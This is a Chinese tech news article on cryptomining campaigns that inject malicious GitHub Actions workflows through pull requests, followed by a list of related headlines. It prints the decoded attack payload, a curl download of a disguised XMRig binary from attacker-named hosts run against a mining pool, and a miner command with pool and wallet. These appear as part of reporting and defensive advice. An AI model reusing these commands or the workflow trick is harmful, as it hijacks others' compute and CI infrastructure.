扣丁书屋

黑客用GitHub服务器挖矿:三天跑了3万个任务 代码惊现中文

加密货币价格一路高涨,显卡又买不起,怎么才能“廉价”挖矿?黑客们动起了歪心思——“白嫖”服务器。给PC植入挖矿木马,已经无法满足黑客日益增长的算力需求,如果能用上GitHub的服务器,还不花钱,那当然是极好的。

而且整个过程可能比侵入PC还容易,甚至都不需要程序员上当受骗。只需提交Pull Request(PR),即使项目管理者没有批准,恶意挖矿代码依然能够执行。

原理也很简单,利用GitHub Action的自动执行工作流功能,轻松将挖矿程序运行在GitHub的服务器上。

早在去年11月,就已经有人发现黑客这种行为。更可怕的是,半年过去了,这种现象依然没得到有效制止。

GitHub心里苦啊,虽然可以封禁违规账号,但黑客们玩起了“游击战术”,不断更换马甲号逃避“追捕”,让官方疲于奔命。

就在几天前,一位荷兰的程序员还发现,这种攻击方式依然存在,甚至代码里还出现了中文。

那么,这些黑客是如何植入挖矿程序的呢?一切要从发现异常的法国程序员Tib说起。

PR异常让程序员起疑心

去年11月,Tib发现,自己在一个没有参加的repo上收到了PR请求。而且在14个小时内就收到了7个,全是来自一个“y4ndexhater1”的用户,没有任何描述内容。

令人感到奇怪的是,这并不是一个热门项目,Star数量为0。

打开项目主页发现,内容是Perl项目的github action、circle ci、travis-ci示例代码集合,整个README文档一团糟,根本不像一个正经的开源项目。

然而就是这个混乱又冷门的repo,居然在3天里被fork了2次。

一切都太不正常了,让人嗅到了一丝不安的气息。

尝试“作死”运行

本着“作死”的精神,Tib决定一探究竟。

经过那位可疑用户的操作,Tib所有的action都被删除,在工作流里被加入了一个ci.yml文件,内容如下:

当Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt这一行内容后,立刻从沙发上跳了起来,他意识到事情的严重性:有人在入侵他的GitHub个人资料!

这串看似神秘的字符,其实是base64编码,经过翻译后,得到了另一段代码:

apt update -qq

apt install -y curl git jq

curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog

ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')

chmod u+x prog

timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null

前面两行不必解释,有意思的地方从第三行开始,它会下载一个prog二进制文件。

为了安全起见,Tib先尝试获取信息而不是执行,得到了它的十六进制代码。

$ objdump -s --section .comment prog

prog: file format elf64-x86-64

Contents of section .comment:

0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.

0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1

0020 20323032 30313230 3300 20201203.

Tib也考虑过反编译,但是没有成功。

不入虎穴,焉得虎子,Tib决定尝试运行一下。

要执行这一大胆而又作死的任务,防止“试试就逝世”,Tib首先断开了电脑的网络链接,并选择在Docker容器中运行。

答案终于揭晓,原来这个prog是一个名为XMRig的挖矿程序。

$ ./prog --version

XMRig 6.8.1

built on Feb 3 2021 with GCC 10.2.1

features: 64-bit AES

libuv/1.40.0

OpenSSL/1.1.1i

hwloc/2.4.0

当时XMRig的最新版恰好是6.8.1,和上面的版本参数符合。不过用SHA256检测后发现,这个prog并不完全是XMRig,Tib预测它可能是一个修改版。

实际上,可能被攻击的不止GitHub,安全公司Aqua推测,像Docker Hub、Travis CI、Circle CI这些SaaS软件开发环境,都可能遭受这类攻击。

在这个攻击过程中,会派生一个合法的repo,负责将恶意的GitHub Action添加到原始代码。然后,黑客再向原始repo提交一个PR,将代码合并回原始repo。

下载的挖矿程序会伪装成prog或者gcc编译器,通过提交PR在项目执行自动化工作流。此时服务器将运行伪装后的挖矿程序。

这些攻击者仅一次攻击就可以运行多达100个挖矿程序,从而给GitHub的服务器带来了巨大的计算量。

据Aqua估计,仅在三天的时间里,挖矿黑客就在GitHub上有超过2.33万次commit、在Docker Hub上5.8万次build,转化了大约3万个挖矿任务。

可以防范但很难根除

这种攻击甚至不需要被攻击的仓库管理者接受恶意Pull Request。

只要在.github/workflows目录里面的任意.yml文件中配置了在收到Pull Request时执行,来自黑客的Action就会自动被执行

如果你没有使用这个功能,那就不用担心啦,黑客大概也不会找上你。

需要用到这个功能的话,可以设置成只允许本地Action或只允许Github官方及特定作者创建的Action。

将情况反馈给客服后,GitHub会对恶意账号进行封号和关闭相关Pull Request的操作。

但恶意攻击很难被根除,黑客只需要注册新的账号就可以继续白嫖服务器资源。

攻击还在继续

我们从最近一次攻击中发现,黑客将挖矿程序上传到GitLab并伪装成包管理工具npm。

打开这个可疑的nani.bat,可以看到:

npm.exe --algorithm argon2id_chukwa2

--pool turtlecoin.herominers.com:10380

--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP

--password xo

这一次黑客挖的是乌龟币*(TurtleCoin)*,可使用CPU计算。按当前价格挖出四千多个币才值1美元。

Github Actions的免费服务器可以提供英特尔E5 2673v4的两个核心,7GB内存。

大致估算单台运行一天只能获利几美分,而且黑客的挖矿程序通常只能在被发现之前运行几个小时。比如Docker Hub就把自动build的运行时间限制在2个小时。

不过蚊子再小也是肉,黑客通过寻找更多接受公开Action的仓库以及反复打开关闭Pull Request就能执行更多的挖矿程序。

同一黑客账号至少攻击了95个GitHub仓库

正如Twitter用户Dave Walker所说的,如果你提供免费的计算资源,就要做好会被攻击和滥用的觉悟。挖矿有利可图的情况下这是不可避免的。

据报道,受害的不止GitHub,还有Docker Hub、Travis CI以及Circle CI等提供类似服务的持续集成平台。

这一乱象不知何时才能结束,唯一的好消息可能就是,挖矿的黑客似乎只是针对GitHub提供的服务器资源,而不会破坏你的代码。

但是GitHub Action的漏洞不止这一个。还有方法能使黑客读写开发者的仓库,甚至可以读取加密的机密文件。

去年7月,Google Project Zero团队就已向GitHub通报漏洞。但在给出的90天修复期限+延长14天后,GitHub仍未能有效解决。

对此,我们的建议是,不要轻易相信GitHub市场里的Action作者,不要交出你的密匙。

相关文章:

GitHub正调查有害行为者滥用其服务器基础设施进行加密采矿活动

改进安全体验:NPM用户现可链接Twitter与GitHub账户

使用流行的“NPM”JavaScript 包管理器的开发者们,现可选择使用链接他们的 Twitter 和 GitHub 账户。在周二的一篇博客文章中,GitHub 表示此举旨在帮助用户更轻松地保护其账户,同时简化了一些被认为过于繁重的安全特性。

发布于:21天以前  |  113次阅读  |  详细内容 »

GitHub AI驱动的编程辅助工具Copilot将对学生免费开放

去年6月,微软旗下的GitHub和OpenAI推出了Copilot,这项服务为微软Visual Studio等开发环境中的整行代码提供建议。Copilot作为一个可下载的扩展,由一个名为Codex的人工智能模型提供支持,该模型是在数十亿行公共代码上训练出来的,可以根据现有代码的上下文建议额外的代码行和功能。Copilot还可以利用其知识库和当前环境,针对开发者想要完成的描述浮现出一种方法或解决方案。

发布于:2月以前  |  405次阅读  |  详细内容 »

Arm宣布旗下多个开源项目从GitHub迁移到GitLab

根据 GitLab 最新新闻稿,Arm Open Source 已决定将公司的多个开源项目从 GitHub 迁移到 GitLab。在新闻稿中,GitLab 概述了 Arm Open Source 选择其平台的重要原因:最大化选择和成本效益,最小化供应商锁定。

发布于:3月以前  |  224次阅读  |  详细内容 »

GitHub将要求所有贡献代码的用户在2023年底前启用双因素认证

到2023年底,GitHub将要求所有在该平台上贡献代码的用户启用一种或多种形式的双因素认证(2FA)。今天,这家微软旗下的公司说,只有16.5%的GitHub活跃用户和6.44%的npm用户使用2FA。这不是很多,但坦率地说比想象的要少。

发布于:3月以前  |  191次阅读  |  详细内容 »

GitHub Desktop 3发布:更好地整合你的pull requests

GitHub Desktop 3 于今天正式发布,它是专门为帮助简化开发者的工作流程而设计的。在本次更新中增强了多项现有功能,包括压制、重新排序或修改提交,大幅改善 Git 操作。本次版本更新的核心增强功能之一就是可以审查你 pull requests 的状态,这反过来帮助开发者确认代码是否确实准备好用于生产。

发布于:3月以前  |  289次阅读  |  详细内容 »

Github宣布本周五短链接服务git.io所有链接停止重定向

Github 宣布自 2022 年 4 月 29 日周五开始,短链接服务 git.io 上的所有链接将停止重定向。在博文中希望用户立即更新任何使用 git.io URL 服务的现有链接。

发布于:3月以前  |  309次阅读  |  详细内容 »

马斯克收购Twitter后履行承诺:算法上线GitHub 空白仓库已获5000星

今天,马斯克以每股54.20美元,共计440亿美元(约合人民币2873.0亿元)的价格买下了Twitter,与此同时,他也履行了此前公开Twitter算法的承诺。目前,Twitter在GitHub上创建了一个名叫“the-algorithm”(算法)的仓库,并已经获得了五千余人的收藏。

发布于:3月以前  |  272次阅读  |  详细内容 »

GitHub上霸榜的这个项目 竟然在教程序员们怎么延寿……

4月25日,哈啰出行官方发布微博宣布品牌升级计划,正式更名为“哈啰”,并发布了新的Logo和品牌标语。根据哈啰公布的信息来看,首先是新的Logo品牌名称去掉了“出行”二字。哈啰认为随着更多新业务涌现,哈啰多元化业务布局更为清晰,因此决定将“哈啰出行”改为“哈啰”。

发布于:3月以前  |  290次阅读  |  详细内容 »

《程序员延寿指南》火爆GitHub 跟着码农干多活20年

跟着程序员搞养生,最高能多活20年?!就在最近,一个名为《程序员延寿指南》的项目在GitHub上大受欢迎,几天狂揽5.5k颗星星。

发布于:3月以前  |  309次阅读  |  详细内容 »

GitHub正在封禁部分俄罗斯开发者账号:受制裁实体前员工也被“误伤”

开源无国界,但总有GitHub上的开发者被封号。如果你是一位俄罗斯开发者,且正在或曾经为受美国制裁的实体工作,那你的GitHub账户正处于危险境地,随时可能被封禁。据俄罗斯媒体报道,这一波封禁起始于4月13日,且并未区分企业与个人账号。

发布于:4月以前  |  285次阅读  |  详细内容 »

GitHub透露:攻击者利用偷来的OAuth令牌入侵了几十个组织

GitHub今天透露,一名攻击者正在使用偷来的OAuth用户令牌(原本发放给Heroku和Travis-CI),从私人仓库下载数据。自2022年4月12日首次发现这一活动以来,威胁者已经从几十个使用Heroku和Travis-CI维护的OAuth应用程序(包括npm)的受害组织中访问并窃取数据。

发布于:4月以前  |  291次阅读  |  详细内容 »

node-ipc开源维护者因反俄自毁代码 遭到GitHub社区猛烈抨击

GitHub 上的一份公告称,某款流行开源软件的技术专家兼维护者故意破坏了项目代码,以擦除在俄罗斯和白罗斯地区使用该程序的计算机上的数据。然而如此短视的行为,还是遭到了开源社区的猛烈抨击。这一事件表明“数字黑客主义”存在潜在的不利因素,尤其是容易误伤使用相关代码的普通人。

发布于:5月以前  |  458次阅读  |  详细内容 »

华为天才少年稚晖君自制硬萌机器人:开源5小时GitHub收获317星

失踪人口回归了!华为“天才少年”稚晖君这次带来了一个又萌又硬的桌面小机器人ElectronBot。还记得上次那个“全栈自研”的给葡萄缝针的钢铁侠机械臂Dummy吗?近3个月没更的华为“天才少年”稚晖君带着他的最新视频来了!

发布于:5月以前  |  523次阅读  |  详细内容 »

“治不了GitHub还治不了你?”唱片行业追杀youtube-dl

YouTube 视频下载神器 youtube-dl 还在被追杀。这款在 GitHub 上累计收获 100k+ Star 的开源工具,2020 年末遭到了美国唱片协会(RIAA)的投诉而一度下架。

发布于:5月以前  |  438次阅读  |  详细内容 »

一视同仁:GitHub CEO发表针对俄乌冲突的和平表态

俄乌冲突爆发后,许多国际企业、组织机构在舆论压力下宣布了对俄罗斯的制裁。然而一刀切式的政策,无疑又将伤害无限扩大化。于是本周三,Thomas Dohmke 在代码托管平台 GitHub 上的一篇博客文章中写道:“我们对全球社区都十分关心,并且会继续留意与俄乌冲突相关的事态发展”。

发布于:5月以前  |  344次阅读  |  详细内容 »

“程序员做饭指南”霸榜GitHub,还用数学公式解决“吃什么”难题

我也是没想到啊,GayHub啊不,GitHub的热榜第一,竟然让一个纯·做饭项目给占领了。(手动狗头)没错,项目如其名,「HowToCook」它真的没在标题党,就是一大份正经家常菜谱。

发布于:5月以前  |  384次阅读  |  详细内容 »

GitHub已原生支持基于JavaScript的Mermaid图表工具

有报告指出,当文档足够详实、并以不同的格式提供时,开发效率有望迎来 50% 的瞩目提升。然而想要在 GitHub 上的 Markdown 文件中包含图片 / 图表,此前必须通过嵌入图像来实现。好消息是,即日起,开发人员已能够通过 GitHub 体验到一项原生功能 —— 支持基于 JavaScript 的 Mermaid 图表和流程图生成工具。

发布于:6月以前  |  461次阅读  |  详细内容 »

最新资讯

最热资讯


手机扫码阅读